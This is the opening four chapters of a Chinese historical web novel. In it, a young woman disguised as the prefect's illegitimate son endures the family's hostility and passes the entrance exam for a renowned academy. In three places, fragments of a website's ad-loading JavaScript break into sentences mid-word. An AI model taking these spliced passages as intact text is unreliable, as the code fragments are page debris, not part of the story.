《山河故里》 1. 第一章 白芍初开,微风徐徐,春日的阳光落在偏僻小院。院中有张躺椅,躺椅上蜷了个俊眼修眉的少年,正悠闲自在捧着书看。 可没过多久,大门被人一脚踹开,小院的平静就此被踹碎。几个仆人闯进门后在两侧排开,中间出来个十三四的女孩儿,神态倨傲。 少年见此,不慌不忙搁下书卷,起身对女孩行了一礼:“见过赵小娘子。” 赵小苒叉着腰在他面前站定:“慕怀清,趁我现在心情还好,你自己收拾东西滚出我赵家去。” 面对这来势汹汹的阵仗,被称作慕怀清的少年神色却是平静:“我竟不知,这赵家如今是小娘子做主。” 赵小苒眼神闪躲,下意识提高声音来掩饰心底的怯意:“你少废话,今天没谁救得了你!” 慕怀清了然一笑:“原来小娘子非是能做赵家的主,而是胆大包身。” 赵小苒被他这幅模样气得柳眉倒竖,杏眼圆瞪:“那女人生你出来叫你来攀我家,害得我阿娘和爹爹大吵一架一病不起,我今天说什么也要把你赶出去!” 慕怀清笑容依旧,眼神却霎时变得冰冷:“你晓得护你母亲,却来轻易折辱别人的母亲,赵小娘子的好大威风!” 赵小苒一时被吓住,待反应过来后觉得自己失了脸面,于是朝身后几个仆人大喝一声:“你们还愣着做什么,把他的东西通通扔出府去!” 几个仆人面面相觑。 赵小苒怒道:“听不懂我的话?还不赶快去!” 几个仆人连连称是,越过慕怀清抢进屋去了。 赵小苒在他们身后喊道:“都给我搜仔细点!” 慕怀清只是静静看着,心想,或许提出请求的时机已经到了。 几个仆人在屋子里一阵翻箱倒柜,陆陆续续将衣服书卷翻出来在门口扔成一堆。 赵小苒已经把事情闹得这样难看了,可她要对付的人却还是无动于衷,这让她更加恼火。 她提起裙摆跨步走到门前,将地上的衣服和书卷又捡起来往慕怀清身上砸:“慕怀清,我看你还能硬气到什么时候!” 赵小苒粗暴地攥着书,书扔出来的时候甚至掉了几页纸,慕怀清一边移步躲开,一边觉得有些心疼。 赵小苒扔完了,还不觉得解气,自己扭头进屋去了。 慕怀清这才上前将七零八落的书和书页一一拾起来,拾到一半,他忽然想起了什么,将书往躺椅上一放,急冲冲往屋里去。 他的东西本来也没多少,此时赵小苒带着一堆人已经出来了,手里还捏着一块两指长宽的玉牌:“你一个穷酸货,怎么会有种东西,是不是从我家偷的!” 慕怀清终于冷了面色:“这是先母留给我的,还给我。” 赵小苒露出得意的笑:“原来你也会怕啊。” 话音刚落,那玉牌就被她扔了出去! 慕怀清大惊失色,想也没想就扑过去接那玉牌! 万幸的是,玉牌被他稳稳接住了,不幸的是,他摔了一跤,一头撞在石凳上,伴随着剧烈的疼痛,眼前顿时黑了下去。 赵小苒被吓住了,几个仆人手里的东西也都啪嗒一声掉在地上。 “血、血!”一个仆人大喊。 一片温热流到眼睛里,又顺着脸颊流下去,是血么…… 慕怀清最后一个念头是,赵家如此态度,如果慕家弟弟真的来了,会不会被欺负得更惨呢? 白色的芍药花映在他眼里,越来越红。 - 红色的芍药开得正盛,像火,一路烧到游廊尽头。 从游廊尽头出来一个双髻丫鬟,瞧着十三四的年纪,语气焦急向身后催促道:“孙郎中你走快些啊,小娘子她人都晕过去了!” 孙鼎背着药箱跟在后头出来,头发白了大半,笑呵呵啃着张饼:“不急不急。” “什么不急不急,小娘子要是出事了你担当得起吗!” 他不紧不慢吞下最后一口炊饼,拍了拍胡子沾上的饼渣,意味深长道:“赵知州刚从慕小郎君这过去,怕什么?” 丫鬟被他这话噎住,心中嘀咕,就是因为大官人过去所以才晕的啊。 不多时便到女眷的住处,孙郎中还没跨进门槛,就听见一阵哭闹。 带孙鼎来的丫鬟进门提醒道:“大娘子,孙郎中到了。” 王氏转过头来。她一身暗红掐金菊纹如意缎裳,眼尾依稀几条细纹,看得出来保养得当,只是颧骨高,面相显得刻薄了些。 “绣兰,给孙郎中上茶,”她吩咐完身边的一个女使,又对孙鼎道,“麻烦孙郎中了。” 王氏坐的榻上静静躺了个女孩儿,不是赵小苒又是谁? 榻边还有个粗眉大眼的男子,朗声道:“我看她身体就好得很,刚才还有力气去谋害人命!” 王氏厉声道:“什么叫谋害人命,他自己一头撞上去的,关我女儿什么事?不过是一个不知道从哪里冒出来的野种,便是欺负了又如何!” “你怎能说出如此尖酸刻薄的话!” 眼看这架势要吵起来,孙鼎忙放下上去行了礼,叫了声官人和娘子。 赵季青生得高大,不像文官,倒像个武将。他是官场的老油条,怎么会看不出赵小苒的把戏,对孙鼎道:“孙郎中不必多礼,只管替小女看看,若是得了什么病,一定要治好。” “是。” 孙鼎将药箱放下来,过去给赵小苒把了下脉,又扒了下眼皮,却见那眼珠不自觉动了动。 “小娘子这是郁结于心啊,”孙鼎回身从药箱取出一个布包,布包展开后露出一排排的银针,“小老儿先施针泄泄肝火,然后再开几贴药。” 他挑了一根针,在赵小苒身上比划,最后像是找到了地方,一针扎了下去,刚碰着皮,赵小苒便大叫着跳了起来! 叫了几声,赵小苒察觉到所有人的目光都放在自己身上,忽的停住了,一屋子静得落针可闻。 赵季青皮笑肉不笑:“叫得这么响亮,想来没什么病,也不必开药了。翠翠,你把诊金付了,先送孙郎中回去。” 翠翠便是领着孙鼎来的丫鬟,她带着孙鼎出去后,房里的气氛越来越压抑。 见赵小苒畏畏缩缩躲在王氏身后,赵季青终于爆发了:“谋害人命的事你都做得出来,你还有什么怕的!” 赵小苒被吓了一跳,登时哭了出来,扑进王氏怀里。 “不就磕破了一点皮,怎么,铁面无私的赵知州是要办了自己的亲生女儿吗?”王氏搂着她,将亲生两个字咬得很重。 “你怎么还意识不到这件事情有多严重,”赵季青指着赵小苒,“她带着人以多欺少,故意摔了三娘留给怀清的遗物,害得怀清磕破头差点丢了性命,这样的品行何其恶劣!” “苒苒那是为了这个家着想!你平白有个私生子找上门,在晋州城都快传成一桩笑话了!那个慕怀清,不管他是不是你的种,这里都没有他的地儿!” “便是传成笑话又如何?我不会让他孤身一人流落在外,这点我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 早就说过了。” 王氏冷笑一声:“赵季青,你有种,当初怎么不娶你那个三娘呢?” 赵季青被人戳中了心事,原本明亮的眼渐渐灰暗下来: “我对不住三娘,对不住你,但不管如何,孩子是无辜的。怀清已经无处可去了,至于苒苒,她太过娇纵,不懂得尊重人,也是我的过错。 “看在怀清吃了那么多苦的份上,我希望你能包容一些。你也莫要不辨是非护着苒苒,这样做不是爱她,是害她。” 王氏听完这话,将头转过去不做声。 说罢,赵季青又对赵小苒道:“你必须去给怀清赔罪。” “我不!”赵小苒当即大叫。 “你不去我也要让人拖着你去。”赵季青说罢转身离去。 “娘……”赵小苒哭喊着摇动王氏的手臂。 王氏却在目送着赵季青离开后,脱力瘫坐在榻上。 - 先是送走了赵季青,后来又送走了孙郎中,而赵季青指来照顾自己的刘媪也煎药去了。慕怀清确认四下无人,这才下床锁了门窗,然后回到床边解了衣带。 从那衣服里慢慢露出锁骨、玉肩,到了胸前,雪白的肌肤都被白布条缠住。 这分明是个女子。 她将藕臂伸出来,臂上一块淤青。枕边是孙郎中留下的伤药,她忍痛涂了点上去。 迅速收拾好其余伤处后,慕怀清穿回衣服,重新开了门窗。 她坐回到床边时,从枕头下摸出先前被赵小苒摔出去的那块玉牌。玉牌不大,正面是青竹的图样,反面刻了两行小字:岁寒霜雪苦,含彩独青青。 她摩挲着这句诗,脑海中仿佛看见爹的面容,沧桑、忧郁、和蔼。 “阿筠,人生在世,当如青竹般坚韧正直,历风霜而不改……” 这句话在她心中回响了千千万万遍,伴着她捱过了无数黑夜。她微微低了下头,一滴泪从她眼中滑落,她抬手擦去,将玉牌贴身收了起来。 不久后一个身材矮胖的老媪端着托盘进来走到她床边:“小郎君,我给你熬了药,趁热喝吧。” 慕怀清微笑着接过药碗:“多谢刘媪了。” 刘媪见着她笑,心底想,外头说的那些难听的话,跟眼前这个温和有礼的郎君可是八竿子也打不着。 接下来的两天,倒是没人再来这座小院打扰,慕怀清自个儿看书,也乐得清净。 而那要被赵季青送来赔罪的赵家小娘子,听说死活不肯来,在屋子里闹绝食。慕怀清对此并不在意。 期间孙郎中又来两三趟,她恢复得很好,最后一趟来时,伤口已经结痂了。换好药后,她照旧起身相送,替孙鼎背了药箱。 慕怀清住的小院靠近后门,走两步就到了,送出门一段距离后孙鼎停了下来。 “就送到这吧,”他接过慕怀清递来的药箱,临走时又笑道,“外人都说郎君高攀赵家,可依小老儿看,郎君将来定会有一番作为。” 城里传闻这私生子是乡下来的粗鄙人,借着个不清不楚的身份赖在赵家,可孙鼎几次所见,这小郎君谦和有礼,心思玲珑,绝非外人说的那般不堪。 “先生过誉了。”慕怀清微微欠身。 她目送孙郎中走远,紧了紧外氅,刚想转身回去,就撞上一个小男孩。 小男孩一身脏污衣裳不知多久没换洗过,撞了她后慌慌忙忙就要跑。 突然身后听得有人大喊:“就是那个小偷,郎君快帮我抓住他!” 2. 第二章 慕怀清挑眉,伸手一捞抓住小男孩手臂,他想挣脱,力气却不及慕怀清大。 片刻后气喘吁吁跑来一个少女,打扮得明亮活泼。 “这个小孩偷了我银钱,多谢郎君替我抓住他,”少女道谢完也不嫌脏,把人扯到自己面前,摊开手质问道,“钱呢?” 这时远远地又传来叫喊声:“你可真能跑啊,快把我给累死了!” 慕怀清以为又有哪个倒霉蛋被偷了钱,循着声音看去,却见一少年华服在身,白玉冠,金腰带,穿得好不招摇。 少女回头高声道:“郎君,我给你抓到这个小偷了,回头可得赏我。” 慕怀清心想,原来是那位郎君被偷了。 小男孩听罢少女的话,涨红了脸,从怀中掏出一个钱袋,拿着钱袋的手红肿生疮,一块青一块紫。 慕怀清见着,不禁想起来慕家弟弟病重时,自己在大冬天替人浆洗衣服挣钱的日子。那刺骨的寒冷仿佛穿过时光将她钉住,令她愣在原地。 而那少年听得自家丫鬟说是面前这位郎君帮忙抓住小偷的,走上前打量起慕怀清来。 此人一身暗灰袍子,太阳底下还裹着件外氅,头上缠了一圈细布,想来是受了伤,脸色有些虚弱,但阳光落下来,却照得那眉目动人,身姿秀挺如青竹。 他对慕怀清第一印象还不错,当下拱手行礼:“多谢兄台出手相助。” 慕怀清回过神来是在叫自己,回了一礼:“举手之劳。” 眼下钱袋已经被少女要了回去,慕怀清转头问小男孩:“你家住哪?” 小男孩以为是要把自己送官了,眼泪登时掉了下来,跪地磕头:“贵人饶命,我阿娘还等着我带药回去呢,别把我送官……” 慕怀清心中一颤。逼仄潮湿的房间,咳出来的暗红的血,冰冷刺骨的夜晚……那些记忆是如此清晰地涌了上来。 她扶起小男孩,微叹了口气,从怀中摸出一钱放在小男孩手上:“莫再行盗窃之事了。” 小男孩连连道谢,一溜烟儿就跑远了。 少年看得目瞪口呆:“兄台,他刚才还偷钱来着啊!” “我知道。” “那还有什么好可怜的?” “非是可怜,但为心安。” 少女瞧着面前清冷的小郎君,脸皮都有些发烫了:“郎君,我记得老太公也说过类似的话。” 少年当即黑了脸:“去去去,什么老太公!”这不是说面前的人像自己祖公嘛。 少女这会早把自家郎君扔到后脑勺去了,只盯着慕怀清瞧:“奴家逐月,还不知道郎君姓名?” 突然自家郎君伸手把她推到一旁,气得她一跺脚:“做什么!” 少年将手搭在慕怀清肩上:“在下霍澄,表字明澈,敢问兄台如何称呼?” 慕怀清僵着脊背扯下他的手,退后一步行了一礼:“在下姓慕,名怀清,字无晦。” 这回轮到霍澄僵住了,他看了看对方额头上的一圈细布,尴尬收回手去:“原来是你啊?怎么跟知行说的不太一样。” 赵言礼,字知行,是赵季青长子,常在书院读书,慕怀清见到他的次数并不多,但见过的那几回,都受了他不少恶语和冷眼。这会儿慕怀清听见霍澄叫赵言礼的字,只能猜出他们关系应该不错。 外人怎么说慕怀清心里清楚,赵家人什么态度她也清楚,既然这霍澄是赵知行的好友,自己便不打算过多纠缠,告了个辞后一路往回走去。 岂料霍澄又追了上来:“哎,等等!” “霍兄还有何事?” 霍澄追到慕怀清边上:“刚好我也去赵家,来的路上不巧被偷了银钱而已。” 逐月在一旁问道:“郎君,你既是赵知州的儿子,为何姓慕?” 这丫头素来大大咧咧,霍澄听她问起,自个儿先支起了耳朵。 慕怀清道:“在下自小随先母的姓,不敢轻易更改。” 霍澄若有所思点点头。 赵知行对慕怀清厌恶得很,说这人身份不清不楚的,还死皮赖脸扒在赵家不肯走,对身边人毫不掩饰自己瞧不起慕怀清的态度。他听赵知行说得多了,自然也被勾起了兴趣。 每月十日为一旬,书院一旬过后放一日假,是为常假。霍澄今天刚从书院放假回来,就听说前几天赵家小娘子把慕怀清的头给磕破了,这事怎么看也是赵家小娘子的错。 他想凑个热闹,这不,就上赵府来了,没想到钱袋被偷,正好撞见这半个月来挂在晋州百姓嘴上的人物。 跟着慕怀清刚进后院,一个黑影飞射过来,霍澄吓了一跳,下意识要躲,却见慕怀清抬腿接住。 黑影上下颠了几个来回,又飞回去,霍澄这才看清是鞠球。 天气转暖,这等好时节,倒是有不少人喜欢蹴鞠。 孩子们笑嘻嘻要闹,却见慕怀清身边跟着个富贵郎君,招呼都不敢打了。 慕怀清主动同他们招手,年纪最大的那个才笑着应了一声:“慕哥哥来踢吗?” “不了,你们玩吧。” 霍澄瞧着院子里五六个男孩女孩,最大的也不过十岁模样,看上去应该是下人的孩子。想不到这慕怀清能跟他们处这么好。 一个模样矮胖的妇人走了过来,正是负责照看慕怀清的刘媪。 赵季青怜刘媪生活不易,所以安排她一家住在府上使些杂役。正好慕怀清与她住处相近,自从赵小苒大闹一场后,赵季青就派了她来照顾慕怀清。 刘媪挥手道:“菜菜,你带着他们去别的地方玩!” 菜菜是刘媪的孙女儿,很活泼水灵的一个小姑娘,几个孩子都听她的话,跟着她一块儿走了。 刘媪上来给慕怀清行了礼,又对霍澄道: “霍郎君怎么从后门进来了,大郎君这会儿应该在自己房中,老身带你过去?”刘媪对慕怀清还算照顾,此时见赵知行的朋友跟着慕怀清进来,怕又闹出什么事。 霍澄心底显然没这么多弯弯绕绕:“不用不用,我自己能过去。” 慕怀清道:“那就麻烦刘媪带我去见爹爹了。” 霍澄惊讶道:“咦,你要去见赵伯伯?” 慕怀清欠身道:“霍兄,告辞。” 霍澄在身后喊:“慕兄,方才多有得罪啊!” 慕怀清挥挥手,示意自己并未放在心上。 - 赵季青正在办公,听下人通报说慕怀清求见,连忙道:“快请进来。” 慕怀清由人领着进了赵季青的书房。 书房内家具朴素,但从颜色可以看出用料是一等一的好,漆红的书柜上摆满了书籍,倒应了外头爱书的传闻。慕怀清在来到赵家的时候就打听过,一些读书人说赵知州不光爱民,也爱书,修缮整理了不少书籍给书院州学。 赵季青见慕怀清来,停下批改公文的笔,关切问:“你身体如何了?有什么需要着人吩咐一声就是,怎么自己大老远跑这一趟。” 慕怀清行了一礼:“孩儿此次前来,是想同爹爹商量一件事。” “你且说来。” 慕怀清一掀衣袍跪下。 赵季青一惊,忙去起身去拉她,却拉不动。 “爹爹请听孩儿说完,”慕怀清抬头看着他,神色认真,“孩儿自知身份低下,在这里惹出许多风波,如今不求认祖归宗,只一心向学,望能有机会入崇临书院,以全先母遗志。” 说罢他郑重拜了一拜。 赵季青叹了口气:“你莫要将他们放在心上,有什么委屈尽管来找为父便是。你既是我赵季青的儿子,我就绝不会让你流浪在外。三娘把你教育得很好,只是这崇临书院……恐怕不是你想进就能进的,连我也未必有办法。” “孩儿知道此时入院学试早已结束,所以只想求得一个考试的机会,进不进得,全凭孩儿实力,绝无怨言。” 赵季青被她目光中的坚定所触动,想起陈年旧事,想起那个被自己辜负的女子,竟忍不住想要落泪,于是别开头去眨了眨眼,散了眼中的氤氲雾气。 - 花厅里摆着瓜果点心和茶水,霍澄翘着二郎腿靠在桌边,一边往嘴里抛 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 豆子,一边朝对面的人道: “知行啊,你猜猜我刚刚遇见谁了?” 对面的人年纪同霍澄一般大,姿态却端端正正,他给自己倒了杯茶送到嘴边:“谁?” “慕无晦啊。” 赵知行一口茶喷出来,喷得霍澄跳脚。 “赵知行你干什么! 赵知行咳了几声,待缓下来,问道:“你怎会遇到他?” 霍澄掸了掸衣裳,复又坐下,将事情经过简单描述了一遍,末了道:“我看他为人还不错啊,有胆量有修养的。” “不就傻子一样送了点钱出去,还假惺惺装好人,”赵知行语气不屑,越说越气愤,“爹因为他磕破头那事对小妹责骂一通,还把小妹禁足在屋里,我看就是他故意栽赃的!” 这时趴在边上只顾吃的逐月忍不住嘀咕了:“慕郎君哪里会是这样的人……” 霍澄也是不信:“他怎么会磕破头的?” “他、他和我小妹抢一个玉牌,”赵知行又辩解道,“他编谎说那是他母亲的遗物,故意在我爹面前装可怜,我爹才大发脾气的。” “知行,你可不能这样护短啊。” “我怎么就护短了?他找上门来,说什么认亲,摆明了是要赖在我家,身份还不一定是真的呢!” “多一个兄弟不挺好,哪像我,在家里就孤零零一个人,成天挨骂。” 逐月真诚道:“郎君要是不闯祸,也不会挨老太公骂啊。” 霍澄拿一块糕点塞住她嘴:“吃你的去!” 赵知行道:“这兄弟你爱要给你,我可不要!” 逐月眼睛一亮,忙把糕点拿出来:“郎君要不去问下老太公肯不肯收留?” 霍澄一把夺过糕点塞了回去:“你嫌我被骂得不够惨是吧!” 赵知行还想说什么,突然有个小厮跑了过来。 霍澄见那小厮行了个礼,上前对着赵知行耳语,自己也趴在桌上把耳朵凑过去,可还没听见话就说完了。 赵知行听罢脸色震惊:“那慕怀清当真是这样同爹说的?” 再三确认后赵知行才从震惊中回神来,随即开怀大笑:“哈哈哈哈,这慕怀清居然敢大放厥词说什么全凭实力,他以为崇临书院是什么地方,真是笑死我了,明天可得跟云程他们好好说道说道!” 霍澄兴奋道:“什么什么!” “那慕怀清想进崇临书院,可入院学试已经过了,所以让爹去给他说情,我就知道他是要利用我赵家做跳板好搏个前途。” 霍澄想起那人在后院跟刘媪说求见赵伯伯,原来为的竟是这个。他自以为看人还是准的,巷中那一见,实在不像知行口中说的那般不堪。 思及此处,霍澄眼珠一转,笑道:“那我同你打个赌,若他学问不行进不了书院,我就请你去奉香楼大吃一顿,反之,你就得请我,怎么样?” 赵知行信心满满道:“你还向着外人去了,这回我定要把你钱袋子吃空。” 赵小苒听罢这个消息,和她兄长自然想法一致。 “夸大话谁不会?我倒要看看他最后怎么收场!” 她不肯去赔罪,这几日被爹关在房中,怎么闹都没用。那个穷酸货既然许下大话,她就只等着看热闹好了。 - 浓稠的橙黄余晖笼在树梢,慕怀清养了几日,眼下正在院中躺椅上看书。 赵季青已经答应她了,机会昨天也求来了,明天就是约定上山考试的时候,说不紧张是假的。 一路走到这里来,只有她自己知道有多艰辛,这个机会,她绝不能失去。 最后的一点余晖渐渐从树梢隐去,新月初上,庭院暗淡下来,她这才卷了外氅进屋,少女清瘦的身影掩在氅下,笔直秀挺。 用过晚饭,刘媪送来一桌的笔墨纸砚:“明天去书院的一些用具都装在书篮里,大官人叫送过来的。” “好。”慕怀清垂眸摸着那毛笔,不自觉又想起了爹。 爹常说,若她是个男孩子多好。不是也没关系,她想做的事,什么也拦不得。 3. 第三章 翌日早晨,一辆马车从府衙驶出,慕怀清一晃一晃坐在车里,心情还是有些紧张。 她伸手挑开一角车帘。 天上依稀可见寥落星子,街道上却已有了人气。店家陆陆续续开了门,一片蒸腾白雾中摊贩们忙里忙外供应早食,还有挑着担子赶早市的百姓。 晋州多山多水,景色养人,比之盛京的繁华多了几分恬静安适。可大梁积贫积弱,北境有胡虏虎视眈眈,南境有蛮夷心怀鬼胎,就连西边小国也动荡不安。这腹地的安稳,也不知能维持到何时。 马车悠悠晃晃,前头赵翁赶着车,一面朝里嘱咐道: “书院就在城外衡山脚下,官人已经打过招呼了,小郎君只管去拜见晚渔先生便是。 “外人只听说小郎君以前穷苦,小人却知道小郎君是个有学问的,能不能过就看小郎君自己的了。 “小人就在外头侯着,若是过了,就给小郎君把东西收拾进去。以后书院哪里不熟悉就多开口问同窗,认识认识几个朋友也好。” 慕怀清听着暖心,在车里应了声:“是,多谢赵翁。” 赵翁跟在赵季青身边有十几年了,是府上的内知,总管府中杂事,府中上下都对他敬重得很。 虽说他今日会来送慕怀清去书院是得了赵季青的命令,但赵翁对慕怀清的这些叮嘱却是真心实意的。 行过一段路后,天光已然大亮。举目而望,青山绵延,峰顶云雾缭绕,古树掩映间,一座规整排列的院群就坐落在山脚。正值春季,山脚下学田播种不久,青色稀疏。 官府或民间赠予书院良田,书院再将良田租赁给附近农户,这是书院的主要收入之一。 马车最后在山脚牌楼前停下,牌楼匾额上“崇临书院”四个字,笔锋利落,劲瘦洒脱,乃是晚渔先生亲手所书。 当代大儒李文采,字平章,号晚渔居士,世人尊称晚渔先生。李晚渔为官四十四载,历朝两代,政绩斐然,又曾奉命撰修《史典》,学问不可谓不深厚。可就是这样一位人物,依旧在先帝驾崩之时被排挤辞官了。 先帝年仅十九登基,颇有雄心壮志,于朝宁元年启用主张新政的方衡等人,意图扭转大梁积贫积弱的局面。 只可惜新政推行处处受阻,新党内部也矛盾重重,到朝宁七年时先帝突发恶疾驾鹤西去,独留四岁幼子即位,朝中政事从此皆为其母,也就是如今的太后把持,新党彻底失势,推行七年的新政就此夭折。原先的新党人物或被贬或处死,从此外戚擅权,佞官作乱,朝中一片乌烟瘴气。 李晚渔与新政牵扯不深,只是和新政人物私交甚好。他在此变局中急流勇退,告老还乡,又于承平二年在晋州开设崇临书院,从此一心向学,不再过问朝野,成了为数不多能平安站到现在的人。 以他的身份地位,不少退休官员、各地大儒也前来加入他的书院,是以崇临书院开设至今十二载,却已然声名大噪,跻身一流书院的行列。 书院虽免束脩,但能接纳的学子却有限,不光在年龄上设限,每年晚渔先生还要亲自出题,过了这道门槛的人才有资格入学。 慕怀清自牌楼前下了马车,从头门后的屋舍中出来一个学子,年纪同慕怀清差不多,头戴幞头,身着青色襕衫。襕衫是书院学子统一的打扮。 那学子上前道:“请问兄台可是慕无晦?” “正是。” “在下李易,字行简,得了山长吩咐,特意在此等候,还请兄台随我来。” 慕怀清拱手行礼:“劳烦李兄了。” 山长指的就是晚渔先生,书院之长向来称山长。 从牌楼进,入目便是一座高台殿宇,唤作照熙台。 书院除了是学子求学的地方,也常吸引百姓听讲,开化民智。大梁朝的书院兴会讲,各地大儒齐聚一处相互辩论,围观的百姓动辄千数以上。 崇临书院刚开一年时,晚渔先生就曾与青葙居士陆菁辩于照熙台,一场会讲辩了三天三夜。 听人说,那会儿书院内外愣是给人围了个水泄不通,有的直接就带了卷草席睡在山脚,更有小贩挑着担子来卖吃食,结果因为听得太入神,担子都顾不上了,肚子饿的只好自取,等天黑小贩回来一看,吃食全空了,却多了零散一堆铜钱。 这便是著名的照熙会讲。 只是青葙居士在照熙会讲两年后便溘然长逝,晚渔先生扼腕长叹,再不参与会讲,是以此后的照熙台举行会讲数次,却未能重现当年风采,世人多为遗憾。 照熙台后才是正门,两侧学斋书声琅琅,则是学子们读书的地方。 李行简引着慕怀清去了一侧的百茗斋,晚渔先生白日都在那里。 绿树成荫,鸟鸣山更幽,脚步踩在长廊上,悠远的读书声隐约传来,世间最清净的所在也不过如此了。 李行简停在一间房前,敲了敲门:“山长,人已带到。” “进来吧。” 李行简回身拱手:“在下便送到这了。” 慕怀清回礼:“多谢。” 她推门进去,只见堂中光线明亮,一老者坐于上首,衣着深色,须发皆白,看上去颇有威严。 慕怀清记得五岁离京那年的雪,记得晚渔先生也曾替父践行,却不记得他是何模样,但总归不是现在这样苍老。慕怀清忽的从心底生出许多感慨。 “晚辈慕怀清拜见先生。”慕怀清上前几步,恭恭敬敬拜了礼。 李晚渔打量座下之人几眼,方才点头:“听说你是宁州亳阳郡昌远县人氏,之前在县学念过书?” “回先生话,是。” “试题都在案上,你只有一个时辰。” 书童候在一旁,已经准备好了笔墨纸砚。 慕怀清依言在案前坐下,拿起试题翻看,上面考的是诗赋、经义和论策。 虽有难度,但却难不倒她。爹一向不吝于教她读书习字,早前随爹各处赴任时,她更是见识了不少事物,增长了许多学问。 慕怀清写得入神,晚渔先生就在一旁静静守着。 少年身形清瘦,额上一圈细布,阳光映在侧脸上,泛着柔和晖色,眸中盛满了专注与认真。 一个时辰很快便要到了,慕怀清在写最后两 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 题时听见外头开始嘈杂起来。晚渔先生安坐屋内并不理会,自有斋长会在外头维持秩序。 斋长挑选品行兼优的学子担任,负责点卯,也帮忙监察课试、管理藏书以及学子银钱发放。 外头喧闹是学子散讲后听说慕怀清已经到了书院,正在百茗斋里边做题,个个跑来凑热闹。 “今年开春不是已经招满了吗?晚渔先生还真让他进啊。” “人家有赵知州做靠山,哪里进不得?” 这点是诸多学子最在意的。以崇临书院的名声,要来的人都快把门槛踩烂了。每年就招十几个不说,试题难度还不是一般的小,可想而知这名额是多么宝贵。 文人清高,对慕怀清这种托关系进来的很看不起。自己挣了破头才得到的机会,在别人那就只是一句话的事。 “若能过这崇临书院的试题,也没什么好指摘,你们莫要聚集在此了,等会山长出来,怕是要责怪。”李行简出面劝解道。 “行简师兄还真是好脾气。” 众学子都知道他在书院中担任斋长一职,很得先生看重,于是热闹几句,也渐渐散去了,毕竟等会还有课业。 学子散去后,赵知行的身影从人群中露出来,他看着紧闭的房门不屑道:“要真让他过了入学试,我赵知行不止请你,我还请上云程他们一道去奉香楼!” 让他跟慕怀清同窗?想都不要想! 一旁的霍澄换了身青色襕衫,贵气不见了,倒多了些少年风发意气。他拿胳膊又捅了捅边上的人:“听见没,下回休假他要请我们去奉香楼。” 边上那人眉目俊朗,鼻梁挺直,薄唇颜色浅淡,一身素朴襕杉也掩不住霞姿月韵的清雅气度。只听得他带着笑意道:“明澈这般肯定?” 赵知行道:“云程你可别听他的,不过是后院见着了一回,就说那慕怀清如何如何好,依我看,他是被那人装出来的模样给骗了!” 此时边上还有一人身量高大,肤色略黑,眉眼粗犷,瞧着老成稳重,他插话道:“明澈心思澄净,我瞧那慕怀清应该是有把握的,不然放话出来,又进不了书院,岂不是闹了个大笑话?” “近野说的对,就是这个理!”霍澄拍手道,“还有我跟你们说过的,我钱袋被偷那次,他讲‘非是可怜,但为心安’,你们听听,这话能是一个不学无术的夯货说的吗?” 眉眼粗犷的周近野接腔道:“听明澈说,那慕兄本是穷苦之人,却在听见他人母亲病重时肯仗义疏财,光从此举,便能看出那慕兄心地善良,重情义多过钱财,为人也孝顺。” 赵知行压根没把这段放在心上:“拿句先贤的话装样子唬人谁不会?” 周近野耿直拆台道:“可我没在书上见过这句话啊。” 赵知行瞪着他,又瞪着霍澄,气得鼻子都歪了,心想这两人平日里就是领了钱专门同他对着干的。 被唤作“云程”的人最后道:“我没见过他,倒不好评价,且看他能不能过了这入学试再说。” 霍澄道:“对,我就等着,他要是连入学试都过不了,那我就承认我看走眼了!” 4. 第四章 一个时辰到了,慕怀清搁笔起身,书童收拾好后将答卷呈了上去。 李晚渔接过答卷,越看神色越凝重,这答卷上引经据典处处恰当,策论见解条理分明。 他看到最后一段时,忽觉得当中遣词用句有些熟悉之感,于是抬头问:“你可知道顾若川?” 慕怀清心头一凛,随即镇静道:“曾经主张新政的人物之一,后被贬谪。先生何以如此发问?” “我观你策论所言与他有些相似之处,便以为你看过他的著作。” “晚辈觉得读书当博采众长,是以略读过一些。” “好一个博采众长,不过切记取舍,莫要来者不拒。” “晚辈谨记。” “你今年几岁?” “晚辈年方二九。” 李晚渔没再说什么,许久之后终于尘埃落定,慕怀清看着晚渔先生点的头。 “入学试,便算你过了。” 即便对自己颇有信心,此刻她仍旧掩不住激动,当即叩头:“学生拜见老师!” “既然入了书院,以后便要守书院的规矩,”李晚渔淡淡扫了她一眼,又吩咐身边书童道,“你且带他下去收拾。” 书童拿了一本薄册,带着慕怀清出了百茗斋,而后将册子递到她面前:“这是书院的学规,你且收好。” “多谢,”慕怀清将书揣在怀里,“在下慕怀清,字无晦,还不知道小师兄如何称呼?” 那书童看上去十二三岁,比慕怀清矮了不少,老成持重的气质却有过之而无不及,活像个小大人。 “谈声新。” “如此,便麻烦谈小师兄了。” 回到牌楼处,赵府马车还停在外头。 赵翁就在一旁屋舍歇脚,见着慕怀清出来忙迎上去,问:“如何了?” 慕怀清笑道:“入学试我已通过,辛苦赵翁了。” “过了就好,”赵翁松了口气,他转身上马车将包袱收拾出来递给慕怀清,“书院有规矩,小人就送到这了,待放常假再来接,小郎君记得照顾好自己,头上的伤还要及时擦药,全好了再拆。” “好,谢谢赵翁。” 告别赵翁后,书童领着慕怀清往直学的住处而去。直学是书院中安排学子衣食住行的先生,慕怀清初来,理应去登记过簿。 路过一处学斋时,只听得阵阵呵斥,声音好不洪亮。 谈声新解释道:“里头讲授的是章先生,平日里负责讲理学,在书院是出了名的严厉,答不上来的不仅要挨骂,还要罚抄,但若时常温习便没什么问题。章先生虽严厉,可学问极好,只要肯去请教定会有不小收获。” “书院里平日是怎么授课的?” 谈声新详细答: “平日里的话由先生们分别讲授经、史、理、文、治事等,山长的课则在每月一、三、六、八日,三八讲经,一六讲史,剩下的全看山长心情,这些慕兄不必忧心。 “每日卯时响第一鼓,两刻钟后再响一鼓,三鼓后卯时过半,在此之前到学斋点卯便是。你手里那本学规是山长亲自定下的,待回去后慕兄可以自己看。” 谈声新又讲了许多食宿方面的事,慕怀清偶尔问上一些,不多时就到了直学处。 那直学年过半百,有些枯瘦,听谈声音说明来意后,怪道书院怎么破例招收了。 慕怀清见他提笔便要勾画,连忙上前一步,待要出声,却欲言又止。 谈声新问:“你有什么话?” 那直学也停下来看她。 慕怀清低下头去,装作难堪的样子:“这,实在有些难以启齿,说出来,先生和小师兄可千万别笑话我。” 